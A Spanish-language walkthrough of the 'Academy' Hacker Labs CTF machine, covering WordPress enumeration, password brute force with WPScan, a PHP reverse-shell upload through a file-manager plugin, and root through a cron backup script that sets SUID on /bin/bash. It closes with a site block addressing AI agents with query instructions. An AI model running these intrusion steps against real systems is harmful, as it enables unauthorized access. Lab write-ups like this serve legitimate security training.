# Academy

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.84
```

para verificar la conectividad de red.

<figure><img src="/files/e1aKgDSRmZRzYZFbn8Bq" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.84
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/ybwaYcSzLhRtSCCTZyLw" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.84
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/uDPgoLXIA0oZL5mNRbOg" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.

<figure><img src="/files/132Cb3y0RAV0wS3vV9n0" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.84/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/4556DUHFAxdRhSgBVCpc" alt=""><figcaption></figcaption></figure>

Vemos que nos encontramos un directorio de **WordPress**.&#x20;

<figure><img src="/files/QlR1uxRGHOiheMFED3Dx" alt=""><figcaption></figcaption></figure>

Nos encontramos ante un sitio basado en WordPress. Generalmente, las páginas de WordPress no se visualizan correctamente si no se ha añadido la dirección correspondiente en el archivo `/etc/hosts`. Para solucionar esto, llevaré a cabo el siguiente procedimiento:

Primero, accedo a la URL `http://192.168.1.84/wordpress`. Posteriormente, reviso el código fuente de la página presionando `Ctrl + U`. Al hacerlo, puedo observar que la web está configurada para apuntar a la dirección `academy.thl`.

<figure><img src="/files/DryUrtlpWqFlOMvNm3zG" alt=""><figcaption></figcaption></figure>

Realizamos fuzzing de nuevo para **WordPress**.

```bash
gobuster dir -u http://192.168.1.84/wordpress/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/NrYKivywPbBePRA0MFZ1" alt=""><figcaption></figcaption></figure>

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.

```bash
wpscan --url http://academy.thl/wordpress --enumerate u,vp
```

<figure><img src="/files/9wFSuoL9bp9QS7WBqj1I" alt=""><figcaption></figcaption></figure>

Sabiendo el usuario tenemos que conseguir la contraseña.

```bash
wpscan --url http://academy.thl/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames dylan
```

<figure><img src="/files/uVj4GNk2wkgu7Nc7EjzA" alt=""><figcaption></figcaption></figure>

Ingresamos las credenciales en el panel de **login**.

<figure><img src="/files/ocs6NcOBPfp9HfHANce7" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Tenemos un plugin de WordPress **Bit File Manager** que nos permite subir archivos por lo que subiremos una Reverse Shell. <https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

<figure><img src="/files/taUlhO7aHruJSRbuzVje" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en nuestra máquina atacante.

<figure><img src="/files/sCBsGH6pjo4XveT8Rhsf" alt=""><figcaption></figcaption></figure>

Después de haber logrado la intrusión, es común que la consola que recibimos sea inestable. Si presionamos `Ctrl + C`, podemos perder la conexión. Para estabilizar la consola, realizaremos un tratamiento de la TTY con los siguientes pasos:

Ejecutamos el siguiente comando:

```bash
script /dev/null -c bash
```

A continuación, presionamos `Ctrl + Z` para suspender la sesión.

Configuramos la terminal con:

```bash
stty raw -echo; fg
```

Luego, restablecemos el terminal con:

```bash
reset xterm
```

> **Nota:** Es posible que durante este proceso no se muestre en pantalla lo que estamos tecleando.

Finalmente, exportamos las variables necesarias:

```bash
export TERM=xterm
export SHELL=bash
```

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. Requiere contraseña.

Nos descargamos la herramienta pspy64.

```bash
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
```

Realizamos lo siguiente para ejecutarlo.

```
chmod +x pspy64
./pspy64
```

<figure><img src="/files/pMrLYkeI9JDE8ZWzLunm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1koNAEAf8qcDx836irat" alt=""><figcaption></figcaption></figure>

Vemos que hay un error en las extensiones por lo que creamos el archivo `backup.sh`. Es un archivo con permisos SUID .

```bash
echo 'chmod u+s /bin/bash' >> backup.sh
```

Le damos permisos de ejecución.

```bash
chmod +x backup.sh
```

Ejecutamos el comando.

```bash
bash -p
```

Ya somos **root**.

<figure><img src="/files/LJpxFk2LQIrMNq7Grhff" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/academy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
